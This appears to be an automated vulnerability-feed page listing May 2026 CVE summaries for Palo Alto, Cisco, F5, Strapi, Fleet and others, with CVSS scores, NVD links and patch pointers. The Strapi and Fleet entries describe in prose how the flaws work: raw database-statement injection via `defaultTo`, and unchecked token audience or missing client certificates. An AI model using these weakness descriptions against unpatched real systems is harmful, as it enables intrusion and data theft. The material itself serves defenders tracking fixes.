An information disclosure vulnerability in Trust Protection Foundation enables an authenticated attacker to obtain sensitive information from the server's vault. Successful exploitation of this issue allows the attacker to impersonate any user within the environment and arbitrarily modify configuration settings.
CVSS 4.5 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0240).
Sources:
NVD CVE-2026-0240: https://nvd.nist.gov/vuln/detail/CVE-2026-0240
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0240
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An information disclosure vulnerability in Trust Protection Foundation enables an authenticated attacker to obtain sensitive information from the server's vault. Successful exploitation of this issue allows the attacker to impersonate any user within the environment and arbitrarily modify configuration settings.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Incorrect Authorization vulnerabilities in Trust Protection Foundation allow attackers to bypass access controls and perform unauthorized actions on restricted resources.
https://kevwire.com/record/CVE-2026-0241
Incorrect Authorization vulnerabilities in Trust Protection Foundation allow attackers to bypass access controls and perform unauthorized actions on restricted resources. (May 13, 2026).
Incorrect Authorization vulnerabilities in Trust Protection Foundation allow attackers to bypass access controls and perform unauthorized actions on restricted resources.
CVSS 5.1 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0241).
Sources:
NVD CVE-2026-0241: https://nvd.nist.gov/vuln/detail/CVE-2026-0241
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0241
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Incorrect Authorization vulnerabilities in Trust Protection Foundation allow attackers to bypass access controls and perform unauthorized actions on restricted resources.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An improper certificate validation vulnerability in the Palo Alto Networks Prisma SD-WAN ION enables man-in-the-middle (MitM) attacker to impersonate the controller.
https://kevwire.com/record/CVE-2026-0244
An improper certificate validation vulnerability in the Palo Alto Networks Prisma SD-WAN ION enables man-in-the-middle (MitM) attacker to impersonate the controller. (May 13, 2026).
An improper certificate validation vulnerability in the Palo Alto Networks Prisma SD-WAN ION enables man-in-the-middle (MitM) attacker to impersonate the controller.
CVSS 5.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0244).
Sources:
NVD CVE-2026-0244: https://nvd.nist.gov/vuln/detail/CVE-2026-0244
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0244
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An improper certificate validation vulnerability in the Palo Alto Networks Prisma SD-WAN ION enables man-in-the-middle (MitM) attacker to impersonate the controller.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability with a privilege management mechanism in the Palo Alto Networks Prisma Access Agent® enables a locally authenticated non-administrative user to escalate their...
https://kevwire.com/record/CVE-2026-0246
A vulnerability with a privilege management mechanism in the Palo Alto Networks Prisma Access Agent® enables a locally authenticated non-administrative user to escalate their... (May 13, 2026).
A vulnerability with a privilege management mechanism in the Palo Alto Networks Prisma Access Agent® enables a locally authenticated non-administrative user to escalate their privileges to root on macOS and Linux or NT AUTHORITY\SYSTEM on Windows. This allows the user to execute arbitrary code and read sensitive information otherwise accessible only to privileged accounts.



The Prisma Access Agent on iOS, Android and Chrome OS are not affected.
CVSS 5.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0246).
Sources:
NVD CVE-2026-0246: https://nvd.nist.gov/vuln/detail/CVE-2026-0246
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0246
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability with a privilege management mechanism in the Palo Alto Networks Prisma Access Agent® enables a locally authenticated non-administrative user to escalate their privileges to root on macOS and Linux or NT AUTHORITY\SYSTEM on Windows. This allows the user to execute arbitrary code and read sensitive information otherwise accessible only to privileged accounts.



The Prisma Access Agent on iOS, Android and Chrome OS are not affected.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple authorization bypass vulnerabilities in the Endpoint DLP component of Prisma Access Agent® allow a local attacker to bypass authentication controls and execute privileged...
https://kevwire.com/record/CVE-2026-0247
Multiple authorization bypass vulnerabilities in the Endpoint DLP component of Prisma Access Agent® allow a local attacker to bypass authentication controls and execute privileged... (May 13, 2026).
Multiple authorization bypass vulnerabilities in the Endpoint DLP component of Prisma Access Agent® allow a local attacker to bypass authentication controls and execute privileged operations.
CVSS 5.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0247).
Sources:
NVD CVE-2026-0247: https://nvd.nist.gov/vuln/detail/CVE-2026-0247
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0247
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Multiple authorization bypass vulnerabilities in the Endpoint DLP component of Prisma Access Agent® allow a local attacker to bypass authentication controls and execute privileged operations.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple local privilege escalation vulnerabilities in the Palo Alto Networks GlobalProtect™ app allow a local user to escalate their privileges to NT AUTHORITY\SYSTEM on Windows...
https://kevwire.com/record/CVE-2026-0251
Multiple local privilege escalation vulnerabilities in the Palo Alto Networks GlobalProtect™ app allow a local user to escalate their privileges to NT AUTHORITY\SYSTEM on Windows... (May 13, 2026).
Multiple local privilege escalation vulnerabilities in the Palo Alto Networks GlobalProtect™ app allow a local user to escalate their privileges to NT AUTHORITY\SYSTEM on Windows and root on macOS and Linux. This enables a non-administrative user to execute arbitrary commands with administrative privileges.

The GlobalProtect app on iOS, Android, Chrome OS and GlobalProtect UWP app are not affected.
CVSS 5.9 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0251).
Sources:
NVD CVE-2026-0251: https://nvd.nist.gov/vuln/detail/CVE-2026-0251
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0251
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Multiple local privilege escalation vulnerabilities in the Palo Alto Networks GlobalProtect™ app allow a local user to escalate their privileges to NT AUTHORITY\SYSTEM on Windows and root on macOS and Linux. This enables a non-administrative user to execute arbitrary commands with administrative privileges.

The GlobalProtect app on iOS, Android, Chrome OS and GlobalProtect UWP app are not affected.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to...
https://kevwire.com/record/CVE-2026-0258
A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to... (May 13, 2026).
A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.



Panorama, Cloud NGFW and Prisma® Access are not impacted by these vulnerabilities.
CVSS 4.8 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0258).
Sources:
NVD CVE-2026-0258: https://nvd.nist.gov/vuln/detail/CVE-2026-0258
Vendor advisory (via NVD references): https://security.paloaltonetworks.com/CVE-2026-0258
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A server-side request forgery (SSRF) vulnerability in the IKEv2 implementation of Palo Alto Networks PAN-OS® software allows an unauthenticated attacker to cause the firewall to send network requests to unintended destinations or cause a denial of service (DoS) condition.



Panorama, Cloud NGFW and Prisma® Access are not impacted by these vulnerabilities.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Unrestricted IP address binding in the AMD Device Metrics Exporter (ROCm ecosystem) could allow a remote attacker to perform unauthorized changes to the GPU configuration,...
https://kevwire.com/record/CVE-2026-0481
Unrestricted IP address binding in the AMD Device Metrics Exporter (ROCm ecosystem) could allow a remote attacker to perform unauthorized changes to the GPU configuration,... (May 15, 2026).
Unrestricted IP address binding in the AMD Device Metrics Exporter (ROCm ecosystem) could allow a remote attacker to perform unauthorized changes to the GPU configuration, potentially resulting in loss of availability
CVSS 9.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-0481).
Sources:
NVD CVE-2026-0481: https://nvd.nist.gov/vuln/detail/CVE-2026-0481
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Unrestricted IP address binding in the AMD Device Metrics Exporter (ROCm ecosystem) could allow a remote attacker to perform unauthorized changes to the GPU configuration, potentially resulting in loss of availability

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to read arbitrary files that are stored in...
https://kevwire.com/record/CVE-2026-20224
A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to read arbitrary files that are stored in... (May 14, 2026).
A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to read arbitrary files that are stored in an affected system. The attacker does not need to have valid user credentials.

This vulnerability is due to improper handling of XML External Entity (XXE) entries when parsing an XML file. An attacker could exploit this vulnerability by sending a crafted request to an affected system. A successful exploit could allow the attacker to read arbitrary files that are stored in the affected system.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20224).
Sources:
NVD CVE-2026-20224: https://nvd.nist.gov/vuln/detail/CVE-2026-20224
Vendor advisory (via NVD references): https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-mltvnps2-JxpWm7R
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
A vulnerability in the web UI of Cisco Catalyst SD-WAN Manager, formerly SD-WAN vManage, could allow an unauthenticated, remote attacker to read arbitrary files that are stored in an affected system. The attacker does not need to have valid user credentials.

This vulnerability is due to improper handling of XML External Entity (XXE) entries when parsing an XML file. An attacker could exploit this vulnerability by sending a crafted request to an affected system. A successful exploit could allow the attacker to read arbitrary files that are stored in the affected system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Access Control vulnerability in several internal API endpoints for Google Cloud Application Integration prior to 2026-01-23 allows a remote, unauthenticated attacker...
https://kevwire.com/record/CVE-2026-2031
An Improper Access Control vulnerability in several internal API endpoints for Google Cloud Application Integration prior to 2026-01-23 allows a remote, unauthenticated attacker... (May 15, 2026).
An Improper Access Control vulnerability in several internal API endpoints for Google Cloud Application Integration prior to 2026-01-23 allows a remote, unauthenticated attacker to disclose sensitive internal information and execute arbitrary code using specially crafted HTTP requests to inadvertently exposed internal API endpoints.
CVSS 10.0 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-2031).
Sources:
NVD CVE-2026-2031: https://nvd.nist.gov/vuln/detail/CVE-2026-2031
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An Improper Access Control vulnerability in several internal API endpoints for Google Cloud Application Integration prior to 2026-01-23 allows a remote, unauthenticated attacker to disclose sensitive internal information and execute arbitrary code using specially crafted HTTP requests to inadvertently exposed internal API endpoints.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system.
https://kevwire.com/record/CVE-2026-20916
An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system. (May 13, 2026).
An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system.
 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
CVSS 7.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20916).
Sources:
NVD CVE-2026-20916: https://nvd.nist.gov/vuln/detail/CVE-2026-20916
Vendor advisory (via NVD references): https://my.f5.com/manage/s/article/K000158029
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
An authenticated iControl REST user with low privileges can create or modify arbitrary files through an undisclosed iControl REST endpoint on the BIG-IQ system.
 Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The HCL BigFix SCM Reporting site contains an outdated and unsupported version of the jQuery 1.x library.
https://kevwire.com/record/CVE-2026-21821
The HCL BigFix SCM Reporting site contains an outdated and unsupported version of the jQuery 1.x library. (May 13, 2026).
The HCL BigFix SCM Reporting site contains an outdated and unsupported version of the jQuery 1.x library. Since jQuery 1.x has reached end-of-life and no longer receives security updates, it may expose the application to publicly known security weaknesses and increase the risk of client-side attacks such as Cross-Site Scripting (XSS) or manipulation through vulnerable third-party components.
CVSS 8.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-21821).
Sources:
NVD CVE-2026-21821: https://nvd.nist.gov/vuln/detail/CVE-2026-21821
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
The HCL BigFix SCM Reporting site contains an outdated and unsupported version of the jQuery 1.x library. Since jQuery 1.x has reached end-of-life and no longer receives security updates, it may expose the application to publicly known security weaknesses and increase the risk of client-side attacks such as Cross-Site Scripting (XSS) or manipulation through vulnerable third-party components.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Strapi is an open source headless content management system.
https://kevwire.com/record/CVE-2026-22599
Strapi is an open source headless content management system. (May 14, 2026).
Strapi is an open source headless content management system. In versions on the 4.x branch prior to 4.26.1 and on the 5.x branch prior to 5.33.2, a database-query injection vulnerability existed in the Strapi Content-Type Builder write API. An authenticated administrator could inject arbitrary database statements through the `column.defaultTo` attribute when creating or modifying a content type. Setting `defaultTo` as a tuple `[value, { isRaw: true }]` caused the value to be passed directly into Knex's `db.connection.raw()` during schema migration without sanitization, allowing arbitrary statement execution at the database layer. Depending on the database engine, this enabled arbitrary file read via database utility functions, denial of service via forced server crash on schema-migration error, and on engines that permit external program execution, remote code execution against the database server. The patch in versions 4.26.1 and 5.33.2 addresses this by restricting all Content-Type Builder write APIs to development mode only. Production deployments running v5.33.2 or later return 404 for requests against `/content-type-builder/content-types` and related endpoints, removing the network-reachable attack surface entirely.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-22599).
Sources:
NVD CVE-2026-22599: https://nvd.nist.gov/vuln/detail/CVE-2026-22599
Vendor advisory (via NVD references): https://github.com/strapi/strapi/security/advisories/GHSA-3xcq-8mjw-h6mx
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Strapi is an open source headless content management system. In versions on the 4.x branch prior to 4.26.1 and on the 5.x branch prior to 5.33.2, a database-query injection vulnerability existed in the Strapi Content-Type Builder write API. An authenticated administrator could inject arbitrary database statements through the `column.defaultTo` attribute when creating or modifying a content type. Setting `defaultTo` as a tuple `[value, { isRaw: true }]` caused the value to be passed directly into Knex's `db.connection.raw()` during schema migration without sanitization, allowing arbitrary statement execution at the database layer. Depending on the database engine, this enabled arbitrary file read via database utility functions, denial of service via forced server crash on schema-migration error, and on engines that permit external program execution, remote code execution against the database server. The patch in versions 4.26.1 and 5.33.2 addresses this by restricting all Content-Type Builder write APIs to development mode only. Production deployments running v5.33.2 or later return 404 for requests against `/content-type-builder/content-types` and related endpoints, removing the network-reachable attack surface entirely.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Authorization bypass through User-Controlled key vulnerability in Akilli Commerce Software Technologies Ltd.
https://kevwire.com/record/CVE-2026-2347
Authorization bypass through User-Controlled key vulnerability in Akilli Commerce Software Technologies Ltd. (May 14, 2026).
Authorization bypass through User-Controlled key vulnerability in Akilli Commerce Software Technologies Ltd. Co. E-Commerce Website allows Session Hijacking.

This issue affects E-Commerce Website: before 4.5.001.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-2347).
Sources:
NVD CVE-2026-2347: https://nvd.nist.gov/vuln/detail/CVE-2026-2347
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Authorization bypass through User-Controlled key vulnerability in Akilli Commerce Software Technologies Ltd. Co. E-Commerce Website allows Session Hijacking.

This issue affects E-Commerce Website: before 4.5.001.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fleet is open source device management software.
https://kevwire.com/record/CVE-2026-23998
Fleet is open source device management software. (May 14, 2026).
Fleet is open source device management software. Prior to version 4.81.0, a vulnerability in Fleet’s Windows MDM management endpoint could allow requests to be processed without proper client certificate validation. In certain circumstances, this could allow an attacker to impersonate an enrolled Windows device and retrieve sensitive configuration data. Fleet’s Windows MDM management endpoint relies on mutual TLS (mTLS) client certificates to authenticate enrolled devices. In affected versions, requests that did not present a client certificate could be incorrectly treated as trusted. As a result, an attacker with prior knowledge of a valid enrolled device identifier could potentially impersonate that device and receive configuration payloads intended for it. These payloads may contain sensitive information such as Wi-Fi or VPN configuration data, certificates, or other secrets delivered through MDM profiles. This issue does not allow enrollment of new devices, administrative access to Fleet, or compromise of the Fleet control plane. Impact is limited to the targeted Windows device. Version 4.81.0 contains a patch. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-23998).
Sources:
NVD CVE-2026-23998: https://nvd.nist.gov/vuln/detail/CVE-2026-23998
Vendor advisory (via NVD references): https://github.com/fleetdm/fleet/security/advisories/GHSA-2rc4-7jc6-qffh
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0
Fleet is open source device management software. Prior to version 4.81.0, a vulnerability in Fleet’s Windows MDM management endpoint could allow requests to be processed without proper client certificate validation. In certain circumstances, this could allow an attacker to impersonate an enrolled Windows device and retrieve sensitive configuration data. Fleet’s Windows MDM management endpoint relies on mutual TLS (mTLS) client certificates to authenticate enrolled devices. In affected versions, requests that did not present a client certificate could be incorrectly treated as trusted. As a result, an attacker with prior knowledge of a valid enrolled device identifier could potentially impersonate that device and receive configuration payloads intended for it. These payloads may contain sensitive information such as Wi-Fi or VPN configuration data, certificates, or other secrets delivered through MDM profiles. This issue does not allow enrollment of new devices, administrative access to Fleet, or compromise of the Fleet control plane. Impact is limited to the targeted Windows device. Version 4.81.0 contains a patch. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Fleet is open source device management software.
https://kevwire.com/record/CVE-2026-24899
Fleet is open source device management software. (May 14, 2026).
Fleet is open source device management software. Prior to version 4.82.0, a vulnerability in Fleet's Windows MDM enrollment flow allows authentication tokens from any Azure AD tenant to be accepted. Because Fleet validates JWT signatures using Microsoft's multi-tenant JWKS endpoint but does not enforce the `aud` (audience) or `iss` (issuer) claims, any Microsoft-signed Azure AD access token containing the expected scopes can be used to authenticate to Fleet's MDM endpoints. If Windows MDM is enabled, an attacker with access to any Azure AD tenant can obtain a valid Microsoft-signed token and use it to enroll unauthorized devices and interact with Fleet's MDM management APIs. During device management, Fleet may expose sensitive enrollment secrets embedded in MDM command payloads, enabling further unauthorized access. Version 4.82.0 contains a patch. If an immediate upgrade is not possible, affected Fleet users should temporarily disable Windows MDM.
CVSS 8.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-24899).
